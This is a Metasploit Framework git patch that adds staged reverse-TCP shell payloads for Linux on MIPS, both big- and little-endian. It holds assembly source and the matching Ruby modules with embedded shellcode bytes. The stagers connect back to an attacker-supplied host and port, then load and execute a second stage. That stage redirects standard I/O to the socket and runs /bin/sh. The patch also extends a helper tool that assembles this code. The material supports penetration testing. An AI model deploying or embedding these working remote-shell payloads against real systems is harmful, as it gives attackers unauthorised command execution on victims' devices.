From a8806887e94ae10678513a1aaed563f7db54df78 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 14 Jan 2014 12:25:11 -0600 Subject: [PATCH 1/2] Add support for MIPS reverse shell staged payloads --- .../shellcode/linux/mips/stage_tcp_shell.s | 73 ++++++++++++ .../linux/mipsbe/stager_sock_reverse.s | 111 ++++++++++++++++++ .../linux/mipsle/stager_sock_reverse.s | 111 ++++++++++++++++++ .../stagers/linux/mipsbe/reverse_tcp.rb | 54 +++++++++ .../stagers/linux/mipsle/reverse_tcp.rb | 54 +++++++++ modules/payloads/stages/linux/mipsbe/shell.rb | 36 ++++++ modules/payloads/stages/linux/mipsle/shell.rb | 36 ++++++ tools/metasm_shell.rb | 71 ++++++++++- 8 files changed, 540 insertions(+), 6 deletions(-) create mode 100644 external/source/shellcode/linux/mips/stage_tcp_shell.s create mode 100644 external/source/shellcode/linux/mipsbe/stager_sock_reverse.s create mode 100644 external/source/shellcode/linux/mipsle/stager_sock_reverse.s create mode 100644 modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb create mode 100644 modules/payloads/stagers/linux/mipsle/reverse_tcp.rb create mode 100644 modules/payloads/stages/linux/mipsbe/shell.rb create mode 100644 modules/payloads/stages/linux/mipsle/shell.rb diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s new file mode 100644 index 0000000000..f9c6826223 --- /dev/null +++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s @@ -0,0 +1,73 @@ +## +# +# Name: stage_tcp_shell +# Type: Stage +# Qualities: Compatible with both mips little and big endian +# Platforms: Linux +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# This payload duplicates stdio, stdin and stderr to a file descriptor, +# stored on $s2, and executes /bin/sh. +# +# Assemble and create a relocatable object with: +# as -o stage_tcp_shell.o stage_tcp_shell.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stage_tcp_shell stage_tcp_shell.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stages/linux/mipsle/shell.rb +# and: +# modules/payloads/stages/linux/mipsbe/shell.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # dup2(sockfd, 2) + # dup2(sockfd, 1) + # dup2(sockfd, 0) + # a0: oldfd (sockfd) + # a1: newfd (2, 1, 0) + li $s1, -3 + nor $s1, $s1, $zero + add $a0, $s2, $zero +dup2_loop: + add $a1, $s1, $zero # dup2_loop + li $v0, 4063 # sys_dup2 + syscall 0x40404 + li $s0, -1 + addi $s1, $s1, -1 + bne $s1, $s0, dup2_loop # + + # execve("/bin/sh", ["/bin/sh"], NULL) + # a0: filename "/bin/sh" + # a1: argv ["/bin/sh", NULL] + # a2: envp NULL + li $t8, -1 # load t8 with -1 +getaddr: # getaddr trick from scut@team-teso.net + bltzal $t8, getaddr # branch with $ra stored if t8 < 0 + slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below) + addi $a0, $ra, 28 # $ra gets this address + sw $a0, -8($sp) + sw $zero, -4($sp) + addi $a1, $sp, -8 + slti $a2, $zero,-1 + li $v0, 4011 # sys_execve + syscall 0x40404 + + .string "/bin/sh" + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s new file mode 100644 index 0000000000..2edc183001 --- /dev/null +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -0,0 +1,111 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Big Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS LE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -32($sp) + lui $t6, 0x115c + sw $t6, -28($sp) + lui $t6, 0x7f00 # ip + ori $t6, $t6, 0x0001 # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s new file mode 100644 index 0000000000..ac6863afb9 --- /dev/null +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -0,0 +1,111 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Little Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS LE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -30($sp) + ori $t6, $zero, 0x5c11 # port + sw $t6, -28($sp) + lui $t6, 0x100 # ip + ori $t6, $t6, 0x7f # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + + .set macro + .set reorder diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb new file mode 100644 index 0000000000..7bd9d256d4 --- /dev/null +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => + [ + 'juan vazquez' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ [58, 62], 'ADDR16MSB' ], + 'LPORT' => [ 50, 'n' ], + }, + 'Payload' => + "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" + + "\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" + + "\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" + + "\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" + + "\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" + + "\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" + + "\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" + + "\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" + + "\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" + + "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" + + "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" + + "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" + + "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" + + "\xf8\x09" + } + )) + end + +end diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb new file mode 100644 index 0000000000..9e57739329 --- /dev/null +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Linux + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Description' => 'Connect back to the attacker', + 'Author' => + [ + 'juan vazquez' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ [60, 56], 'ADDR16MSB' ], + 'LPORT' => [ 48, 'n' ], + }, + 'Payload' => + "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" + + "\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" + + "\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" + + "\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" + + "\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" + + "\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" + + "\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" + + "\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" + + "\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" + + "\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" + + "\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" + + "\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" + + "\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" + + "\x20\x02" + } + )) + end + +end diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb new file mode 100644 index 0000000000..59e40539ac --- /dev/null +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell', + 'Description' => 'Spawn a command shell (staged)', + 'Author' => 'juan vazquez', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Stage' => + { + 'Payload' => + "\x24\x11\xff\xfd\x02\x20\x88\x27\x02\x40\x20\x20\x02\x20" + + "\x28\x20\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff" + + "\x22\x31\xff\xff\x16\x11\xff\xfa\x24\x18\xff\xff\x07\x10" + + "\xff\xff\x28\x18\xff\xff\x23\xe4\x00\x1c\xaf\xa4\xff\xf8" + + "\xaf\xa0\xff\xfc\x23\xa5\xff\xf8\x28\x06\xff\xff\x24\x02" + + "\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00" + } + )) + end + +end diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb new file mode 100644 index 0000000000..97915d3480 --- /dev/null +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell', + 'Description' => 'Spawn a command shell (staged)', + 'Author' => 'juan vazquez', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Stage' => + { + 'Payload' => + "\xfd\xff\x11\x24\x27\x88\x20\x02\x20\x20\x40\x02\x20\x28" + + "\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" + + "\xff\xff\x31\x22\xfa\xff\x11\x16\xff\xff\x18\x24\xff\xff" + + "\x10\x07\xff\xff\x18\x28\x1c\x00\xe4\x23\xf8\xff\xa4\xaf" + + "\xfc\xff\xa0\xaf\xf8\xff\xa5\x23\xff\xff\x06\x28\xab\x0f" + + "\x02\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00" + } + )) + end + +end diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index a7d3680822..68f8126db1 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -3,7 +3,8 @@ # $Id$ # # This tool provides an easy way to see what opcodes are associated with -# certain x86 instructions by making use of Metasm! +# certain x86 instructions by making use of Metasm! Also allows to get +# friendly output from a GAS assembler source code file. # # # $Revision$ @@ -32,6 +33,9 @@ require 'metasm' #PowerPC, seems broken for now in metasm #@Arch = ['Ia32','MIPS','PowerPC','ARM','X86_64'] @Arch = ['Ia32','MIPS','ARM','X86_64'] +@Endian = ['little','big'] +@architecture = "" +@endianess = "" def usage $stderr.puts("\nUsage: #{$0} \n" + $args.usage) @@ -40,7 +44,8 @@ end $args = Rex::Parser::Arguments.new( "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], - "-h" => [ false, "Display this help information" ]) + "-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| case opt @@ -48,12 +53,20 @@ $args.parse(ARGV) { |opt, idx, val| found = nil @Arch.each { |a| if val.downcase == a.downcase - String.class_eval("@@cpu = Metasm::#{a}.new") + @architecture = a + found = true + end + } + usage if not found + when "-e" + found = nil + @Endian.each { |e| + if val.downcase == e.downcase + @endianess = e found = true end } usage if not found - when "-h" usage else @@ -61,6 +74,14 @@ $args.parse(ARGV) { |opt, idx, val| end } +unless @architecture.empty? + if @endianess.empty? + String.class_eval("@@cpu = Metasm::#{@architecture}.new") + else + String.class_eval("@@cpu = Metasm::#{@architecture}.new(:#{@endianess})") + end +end + class String @@cpu ||= Metasm::Ia32.new class << self @@ -98,23 +119,61 @@ class String def decode(base_addr=0, eip=base_addr) decode_blocks(base_addr, eip).to_s end + + def disassemble(str, eip=0) + Metasm::Shellcode.disassemble(@@cpu, str, eip) + end + end +def parse_gas_file(filename) + unless ::File.exist?(filename) + puts "File #{filename} not found" + return + end + shellcode = "" + puts "Reading file #{filename}" + ::File.open(filename, "rb") do |f| + f.each_line do |l| + l.gsub!(/#.*$/, "") # Delete comments + l.gsub!(/@.*$/, "") # Delete comments + l.gsub!(/\..*$/, "") # Delete directives + l.gsub!(/(\r|\n)/, '') # Delete newlines... just in case... + next if l.strip.empty? + shellcode << "#{l}\n" + end + end + begin + encoded = shellcode.encode + puts Rex::Text.to_ruby(encoded) + puts encoded.disassemble(shellcode.encode) + rescue Metasm::Exception => e + puts "Error: #{e.class} #{e.message}" + end +end # Start a pseudo shell and dispatch lines to be assembled and then # disassembled. shell = Rex::Ui::Text::PseudoShell.new("%bldmetasm%clr") shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) -puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', '' +puts [ + 'type "exit" or "quit" to quit', + 'use ";" or "\\n" for newline', + 'type "file " to parse a GAS assembler source file', + ''] shell.run { |l| l.gsub!(/(\r|\n)/, '') - l.gsub!(/\\n/, "\n") + l.gsub!(/\\n/, "\n") l.gsub!(';', "\n") break if %w[quit exit].include? l.chomp + if l.chomp.index(/^file (.*)/) + parse_gas_file($1) + next + end next if l.strip.empty? begin From a056d937e7f03c463b9c5d056997eff648404039 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 14 Jan 2014 14:06:01 -0600 Subject: [PATCH 2/2] Fluch data cache and improve documentation --- .../shellcode/linux/mips/stage_tcp_shell.s | 4 +++- .../linux/mipsbe/stager_sock_reverse.s | 18 +++++++++++++++++- .../linux/mipsle/stager_sock_reverse.s | 18 +++++++++++++++++- .../stagers/linux/mipsbe/reverse_tcp.rb | 2 ++ .../stagers/linux/mipsle/reverse_tcp.rb | 2 ++ 5 files changed, 41 insertions(+), 3 deletions(-) diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s index f9c6826223..bbe9086fe5 100644 --- a/external/source/shellcode/linux/mips/stage_tcp_shell.s +++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s @@ -41,6 +41,7 @@ main: # dup2(sockfd, 0) # a0: oldfd (sockfd) # a1: newfd (2, 1, 0) + # v0: syscall = __NR_dup2 (4063) li $s1, -3 nor $s1, $s1, $zero add $a0, $s2, $zero @@ -50,12 +51,13 @@ dup2_loop: syscall 0x40404 li $s0, -1 addi $s1, $s1, -1 - bne $s1, $s0, dup2_loop # + bne $s1, $s0, dup2_loop # # execve("/bin/sh", ["/bin/sh"], NULL) # a0: filename "/bin/sh" # a1: argv ["/bin/sh", NULL] # a2: envp NULL + # v0: syscall = __NR_dup2 (4011) li $t8, -1 # load t8 with -1 getaddr: # getaddr trick from scut@team-teso.net bltzal $t8, getaddr # branch with $ra stored if t8 < 0 diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s index 2edc183001..9aba45eea7 100644 --- a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -13,7 +13,7 @@ # # Description: # -# Implementation of a MIPS LE Linux reverse TCP stager. +# Implementation of a MIPS BE Linux reverse TCP stager. # # File descriptor in $s2. # @@ -53,6 +53,7 @@ main: # a0: sockfd # a1: addr = AF_INET (2) # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) lw $a0, -4($sp) li $t7, -3 nor $t7, $t7, $zero @@ -75,6 +76,7 @@ main: # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) # sp(16): fd = -1 # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) li $a0, -1 li $a1, 4097 addi $a1, $a1, -1 @@ -95,12 +97,26 @@ main: # a0: sockfd # a1: addr # a2: len = 4096 + # v0: syscall = __NR_read (4003) lw $a0, -4($sp) lw $a1, -8($sp) li $a2, 4097 addi $a2, $a2, -1 li $v0, 4003 syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 # jmp to the stage lw $s1, -8($sp) diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s index ac6863afb9..42083452af 100644 --- a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -53,6 +53,7 @@ main: # a0: sockfd # a1: addr = AF_INET (2) # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) lw $a0, -4($sp) li $t7, -3 nor $t7, $t7, $zero @@ -75,6 +76,7 @@ main: # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) # sp(16): fd = -1 # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) li $a0, -1 li $a1, 4097 addi $a1, $a1, -1 @@ -95,16 +97,30 @@ main: # a0: sockfd # a1: addr # a2: len = 4096 + # v0: syscall = __NR_read (4003) lw $a0, -4($sp) lw $a1, -8($sp) li $a2, 4097 addi $a2, $a2, -1 li $v0, 4003 syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 # jmp to the stage lw $s1, -8($sp) - lw $s2, -4($sp) + lw $s2, -4($sp) # sockfd saved on $s2 jalr $s1 .set macro diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 7bd9d256d4..4dd0c08440 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -45,6 +45,8 @@ module Metasploit3 "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" + "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" + "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" + + "\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" + + "\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" + "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" + "\xf8\x09" } diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index 9e57739329..9b123da4bb 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -45,6 +45,8 @@ module Metasploit3 "\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" + "\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" + "\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" + + "\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" + + "\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" + "\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" + "\x20\x02" }